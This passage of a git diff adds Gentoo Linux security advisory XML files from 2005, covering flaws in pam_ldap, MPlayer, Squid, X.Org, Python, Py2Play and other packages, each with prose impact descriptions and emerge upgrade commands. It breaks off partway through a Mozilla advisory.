+    crafted XML document, and also inject SQL commands to access the
+    underlying database directly.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All phpWebSite users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/phpwebsite-0.10.2_rc2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2498">CAN-2005-2498</uri>
+    <uri link="http://archives.neohapsis.com/archives/fulldisclosure/2005-08/0497.html">Original Advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 25 Aug 2005 18:35:22 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 29 Aug 2005 11:14:08 +0000">
+    adir
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 31 Aug 2005 02:40:59 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200508-22.xml b/xml/htdocs/security/en/glsa/glsa-200508-22.xml
new file mode 100644
index 00000000..7d6b74db
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200508-22.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200508-22">
+  <title>pam_ldap: Authentication bypass vulnerability</title>
+  <synopsis>
+    pam_ldap contains a vulnerability that may allow a remote attacker to gain
+    system access.
+  </synopsis>
+  <product type="ebuild">pam_ldap</product>
+  <announced>August 31, 2005</announced>
+  <revised>August 31, 2005: 01</revised>
+  <bug>103659</bug>
+  <access>remote</access>
+  <affected>
+    <package name="sys-auth/pam_ldap" auto="yes" arch="*">
+      <unaffected range="ge">180</unaffected>
+      <vulnerable range="lt">180</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    pam_ldap is a Pluggable Authentication Module which allows
+    authentication against LDAP directories.
+    </p>
+  </background>
+  <description>
+    <p>
+    When a pam_ldap client attempts to authenticate against an LDAP
+    server that omits the optional error value from the
+    PasswordPolicyResponseValue, the authentication attempt will always
+    succeed.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker may exploit this vulnerability to bypass the
+    LDAP authentication mechanism, gaining access to the system possibly
+    with elevated privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All pam_ldap users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-auth/pam_ldap-180&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2641">CAN-2005-2641</uri>
+    <uri link="http://www.kb.cert.org/vuls/id/778916">US-CERT VU#778916</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 29 Aug 2005 14:50:51 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 29 Aug 2005 14:51:34 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 29 Aug 2005 20:08:30 +0000">
+    adir
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200509-01.xml b/xml/htdocs/security/en/glsa/glsa-200509-01.xml
new file mode 100644
index 00000000..3b03aaa3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200509-01.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200509-01">
+  <title>MPlayer: Heap overflow in ad_pcm.c</title>
+  <synopsis>
+    A heap overflow in MPlayer might lead to the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">MPlayer</product>
+  <announced>September 01, 2005</announced>
+  <revised>September 01, 2005: 01</revised>
+  <bug>103555</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/mplayer" auto="yes" arch="*">
+      <unaffected range="ge">1.0_pre7-r1</unaffected>
+      <vulnerable range="lt">1.0_pre7-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MPlayer is a media player capable of handling multiple multimedia
+    file formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    Sven Tantau discovered a heap overflow in the code handling the
+    strf chunk of PCM audio streams.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could craft a malicious video or audio file which,
+    when opened using MPlayer, would end up executing arbitrary code on the
+    victim's computer with the permissions of the user running MPlayer.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    You can mitigate the issue by adding "ac=-pcm," to your MPlayer
+    configuration file (note that this will prevent you from playing
+    uncompressed audio).
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MPlayer users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/mplayer-1.0_pre7-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2718">CAN-2005-2718</uri>
+    <uri link="http://www.sven-tantau.de/public_files/mplayer/mplayer_20050824.txt">Original Advisory</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sun, 28 Aug 2005 16:55:40 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 01 Sep 2005 08:08:19 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200509-02.xml b/xml/htdocs/security/en/glsa/glsa-200509-02.xml
new file mode 100644
index 00000000..e62534ab
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200509-02.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200509-02">
+  <title>Gnumeric: Heap overflow in the included PCRE library</title>
+  <synopsis>
+    Gnumeric is vulnerable to a heap overflow, possibly leading to the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">Gnumeric</product>
+  <announced>September 03, 2005</announced>
+  <revised>September 03, 2005: 01</revised>
+  <bug>104010</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-office/gnumeric" auto="yes" arch="*">
+      <unaffected range="ge">1.4.3-r2</unaffected>
+      <vulnerable range="lt">1.4.3-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Gnumeric spreadsheet is a versatile application developed as
+    part of the GNOME Office project. libpcre is a library providing
+    functions for Perl-compatible regular expressions.
+    </p>
+  </background>
+  <description>
+    <p>
+    Gnumeric contains a private copy of libpcre which is subject to an
+    integer overflow leading to a heap overflow (see GLSA 200508-17).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could potentially exploit this vulnerability by
+    tricking a user into opening a specially crafted spreadsheet, which
+    could lead to the execution of arbitrary code with the privileges of
+    the user running Gnumeric.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Gnumeric users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/gnumeric-1.4.3-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2491">CAN-2005-2491</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200508-17.xml">GLSA 200508-17</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 02 Sep 2005 07:34:06 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 02 Sep 2005 08:27:17 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 02 Sep 2005 15:23:09 +0000">
+    formula7
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200509-03.xml b/xml/htdocs/security/en/glsa/glsa-200509-03.xml
new file mode 100644
index 00000000..3f24cf34
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200509-03.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200509-03">
+  <title>OpenTTD: Format string vulnerabilities</title>
+  <synopsis>
+    OpenTTD is vulnerable to format string vulnerabilities which may result in
+    remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">openttd</product>
+  <announced>September 05, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>102631</bug>
+  <access>remote</access>
+  <affected>
+    <package name="games-simulation/openttd" auto="yes" arch="*">
+      <unaffected range="ge">0.4.0.1-r1</unaffected>
+      <vulnerable range="lt">0.4.0.1-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenTTD is an open source clone of the simulation game "Transport
+    Tycoon Deluxe" by Microprose.
+    </p>
+  </background>
+  <description>
+    <p>
+    Alexey Dobriyan discovered several format string vulnerabilities in
+    OpenTTD.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit these vulnerabilities to crash the
+    OpenTTD server or client and possibly execute arbitrary code with the
+    rights of the user running OpenTTD.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenTTD users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=games-simulation/openttd-0.4.0.1-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2763">CAN-2005-2763</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2764">CVE-2005-2764</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 01 Sep 2005 05:03:56 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 01 Sep 2005 08:12:01 +0000">
+    adir
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 04 Sep 2005 15:43:14 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200509-04.xml b/xml/htdocs/security/en/glsa/glsa-200509-04.xml
new file mode 100644
index 00000000..8a4807ab
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200509-04.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200509-04">
+  <title>phpLDAPadmin: Authentication bypass</title>
+  <synopsis>
+    A flaw in phpLDAPadmin may allow attackers to bypass security restrictions
+    and connect anonymously.
+  </synopsis>
+  <product type="ebuild">phpLDAPadmin</product>
+  <announced>September 06, 2005</announced>
+  <revised>September 06, 2005: 01</revised>
+  <bug>104293</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-nds/phpldapadmin" auto="yes" arch="*">
+      <unaffected range="ge">0.9.7_alpha6</unaffected>
+      <vulnerable range="lt">0.9.7_alpha6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    phpLDAPadmin is a web-based LDAP client allowing to easily manage
+    LDAP servers.
+    </p>
+  </background>
+  <description>
+    <p>
+    Alexander Gerasiov discovered a flaw in login.php preventing the
+    application from validating whether anonymous bind has been disabled in
+    the target LDAP server configuration.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    Anonymous users can access the LDAP server, even if the
+    "disable_anon_bind" parameter was explicitly set to avoid this.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All phpLDAPadmin users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-nds/phpldapadmin-0.9.7_alpha6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2654">CAN-2005-2654</uri>
+    <uri link="http://secunia.com/advisories/16611/">Secunia Advisory SA16611</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 31 Aug 2005 17:15:50 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 31 Aug 2005 17:15:59 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 02 Sep 2005 18:39:01 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200509-05.xml b/xml/htdocs/security/en/glsa/glsa-200509-05.xml
new file mode 100644
index 00000000..009a8d47
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200509-05.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200509-05">
+  <title>Net-SNMP: Insecure RPATH</title>
+  <synopsis>
+    The Gentoo Net-SNMP package may provide Perl modules containing an insecure
+    DT_RPATH, potentially allowing privilege escalation.
+  </synopsis>
+  <product type="ebuild">net-snmp</product>
+  <announced>September 06, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>103776</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-analyzer/net-snmp" auto="yes" arch="*">
+      <unaffected range="ge">5.2.1.2-r1</unaffected>
+      <vulnerable range="lt">5.2.1.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Net-SNMP is a suite of applications used to implement the Simple
+    Network Management Protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    James Cloos reported that Perl modules from the Net-SNMP package look
+    for libraries in an untrusted location. This is due to a flaw in the
+    Gentoo package, and not the Net-SNMP suite.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker (member of the portage group) may be able to create a
+    shared object that would be loaded by the Net-SNMP Perl modules,
+    executing arbitrary code with the privileges of the user invoking the
+    Perl script.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Limit group portage access to trusted users.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Net-SNMP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/net-snmp-5.2.1.2-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2811">CVE-2005-2811</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 04 Sep 2005 14:57:52 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 04 Sep 2005 15:49:44 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 04 Sep 2005 23:48:38 +0000">
+    adir
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200509-06.xml b/xml/htdocs/security/en/glsa/glsa-200509-06.xml
new file mode 100644
index 00000000..6a2bcc6b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200509-06.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200509-06">
+  <title>Squid: Denial of Service vulnerabilities</title>
+  <synopsis>
+    Squid contains several bugs when handling certain malformed requests
+    resulting in a Denial of Service.
+  </synopsis>
+  <product type="ebuild">Squid</product>
+  <announced>September 07, 2005</announced>
+  <revised>May 22, 2006: 03</revised>
+  <bug>104603</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-proxy/squid" auto="yes" arch="*">
+      <unaffected range="ge">2.5.10-r2</unaffected>
+      <vulnerable range="lt">2.5.10-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Squid is a full-featured Web proxy cache designed to run on Unix-like
+    systems. It supports proxying and caching of HTTP, FTP, and other
+    protocols, as well as SSL support, cache hierarchies, transparent
+    caching, access control lists and many more features.
+    </p>
+  </background>
+  <description>
+    <p>
+    Certain malformed requests result in a segmentation fault in the
+    sslConnectTimeout function, handling of other certain requests trigger
+    assertion failures.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By performing malformed requests an attacker could cause Squid to crash
+    by triggering an assertion failure or invalid memory reference.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Squid users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-proxy/squid-2.5.10-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.squid-cache.org/Versions/v2/2.5/bugs/">Squid Patches</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2794">CVE-2005-2794</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2796">CVE-2005-2796</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 05 Sep 2005 08:24:13 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 05 Sep 2005 08:39:15 +0000">
+    adir
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200509-07.xml b/xml/htdocs/security/en/glsa/glsa-200509-07.xml
new file mode 100644
index 00000000..89bad546
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200509-07.xml
@@ -0,0 +1,63 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200509-07">
+  <title>X.Org: Heap overflow in pixmap allocation</title>
+  <synopsis>
+    An integer overflow in pixmap memory allocation potentially allows any
+    X.Org user to execute arbitrary code with elevated privileges.
+  </synopsis>
+  <product type="ebuild">X.Org</product>
+  <announced>September 12, 2005</announced>
+  <revised>September 12, 2005: 01</revised>
+  <bug>105688</bug>
+  <access>local</access>
+  <affected>
+    <package name="x11-base/xorg-x11" auto="yes" arch="*">
+      <unaffected range="ge">6.8.2-r3</unaffected>
+      <vulnerable range="lt">6.8.2-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    X.Org is X.Org Foundation's Public Implementation of the X Window
+    System.
+    </p>
+  </background>
+  <description>
+    <p>
+    X.Org is missing an integer overflow check during pixmap memory
+    allocation.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An X.Org user could exploit this issue to make the X server
+    execute arbitrary code with elevated privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All X.org users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-base/xorg-x11-6.8.2-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2495">CAN-2005-2495</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 06 Sep 2005 08:58:25 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 12 Sep 2005 15:28:20 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200509-08.xml b/xml/htdocs/security/en/glsa/glsa-200509-08.xml
new file mode 100644
index 00000000..b1647480
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200509-08.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200509-08">
+  <title>Python: Heap overflow in the included PCRE library</title>
+  <synopsis>
+    The "re" Python module is vulnerable to a heap overflow, possibly leading
+    to the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">Python</product>
+  <announced>September 12, 2005</announced>
+  <revised>September 12, 2005: 01</revised>
+  <bug>104009</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/python" auto="yes" arch="*">
+      <unaffected range="ge">2.3.5-r2</unaffected>
+      <vulnerable range="lt">2.3.5-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Python is an interpreted, interactive, object-oriented,
+    cross-platform programming language. The "re" Python module provides
+    regular expression functions.
+    </p>
+  </background>
+  <description>
+    <p>
+    The "re" Python module makes use of a private copy of libpcre
+    which is subject to an integer overflow leading to a heap overflow (see
+    GLSA 200508-17).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could target a Python-based web application (or SUID
+    application) that would use untrusted data as regular expressions,
+    potentially resulting in the execution of arbitrary code (or privilege
+    escalation).
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Python users that don't run any Python web application or SUID
+    application (or that run one that wouldn't use untrusted inputs as
+    regular expressions) are not affected by this issue.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Python users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/python-2.3.5-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2491">CAN-2005-2491</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200508-17.xml">GLSA 200508-17</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 10 Sep 2005 18:18:03 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 11 Sep 2005 15:37:16 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 11 Sep 2005 18:47:02 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200509-09.xml b/xml/htdocs/security/en/glsa/glsa-200509-09.xml
new file mode 100644
index 00000000..53b5edb3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200509-09.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200509-09">
+  <title>Py2Play: Remote execution of arbitrary Python code</title>
+  <synopsis>
+    A design error in Py2Play allows attackers to execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">py2play</product>
+  <announced>September 17, 2005</announced>
+  <revised>September 05, 2006: 02</revised>
+  <bug>103524</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-python/py2play" auto="yes" arch="*">
+      <unaffected range="ge">0.1.8</unaffected>
+      <vulnerable range="le">0.1.7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Py2Play is a peer-to-peer network game engine written in Python.
+    Pickling is a Python feature allowing to serialize Python objects into
+    string representations (called pickles) that can be sent over the
+    network.
+    </p>
+  </background>
+  <description>
+    <p>
+    Arc Riley discovered that Py2Play uses Python pickles to send objects
+    over a peer-to-peer game network, and that clients accept without
+    restriction the objects and code sent by peers.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker participating in a Py2Play-powered game can send
+    malicious Python pickles, resulting in the execution of arbitrary
+    Python code on the targeted game client.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All py2play users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-python/py2play-0.1.8&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2875">CAN-2005-2875</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 13 Sep 2005 14:02:17 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 14 Sep 2005 11:59:59 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 14 Sep 2005 20:47:34 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200509-10.xml b/xml/htdocs/security/en/glsa/glsa-200509-10.xml
new file mode 100644
index 00000000..b340036e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200509-10.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200509-10">
+  <title>Mailutils: Format string vulnerability in imap4d</title>
+  <synopsis>
+    The imap4d server contains a vulnerability allowing an authenticated user
+    to execute arbitrary code with the privileges of the imap4d process.
+  </synopsis>
+  <product type="ebuild">mailutils</product>
+  <announced>September 17, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>105458</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-mail/mailutils" auto="yes" arch="*">
+      <unaffected range="ge">0.6-r2</unaffected>
+      <vulnerable range="lt">0.6-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The GNU Mailutils are a collection of mail-related utilities, including
+    an IMAP4 server (imap4d).
+    </p>
+  </background>
+  <description>
+    <p>
+    The imap4d server contains a format string bug in the handling of IMAP
+    SEARCH requests.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An authenticated IMAP user could exploit the format string error in
+    imap4d to execute arbitrary code as the imap4d user, which is usually
+    root.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GNU Mailutils users should upgrade to the latest available version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-mail/mailutils-0.6-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.idefense.com/application/poi/display?id=303&amp;type=vulnerabilities">iDEFENSE 09.09.05 advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2878">CVE-2005-2878</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 15 Sep 2005 13:42:03 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 15 Sep 2005 13:42:17 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200509-11.xml b/xml/htdocs/security/en/glsa/glsa-200509-11.xml
new file mode 100644
index 00000000..c6b8d0fc
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200509-11.xml
@@ -0,0 +1,134 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200509-11">
+  <title>Mozilla Suite, Mozilla Firefox: Multiple vulnerabilities</title>
+  <synopsis>
+    Mozilla Suite and Firefox are vulnerable to multiple issues, including some
+    that might be exploited to execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">mozilla</product>
+  <announced>September 18, 2005</announced>
+  <revised>September 29, 2005: 02</revised>
+  <bug>105396</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/mozilla-firefox" auto="yes" arch="*">
+      <unaffected range="ge">1.0.7-r2</unaffected>
+      <vulnerable range="lt">1.0.7-r2</vulnerable>
+    </package>
+    <package name="www-client/mozilla" auto="yes" arch="*">
+      <unaffected range="ge">1.7.12-r2</unaffected>
+      <vulnerable range="lt">1.7.12-r2</vulnerable>
+    </package>
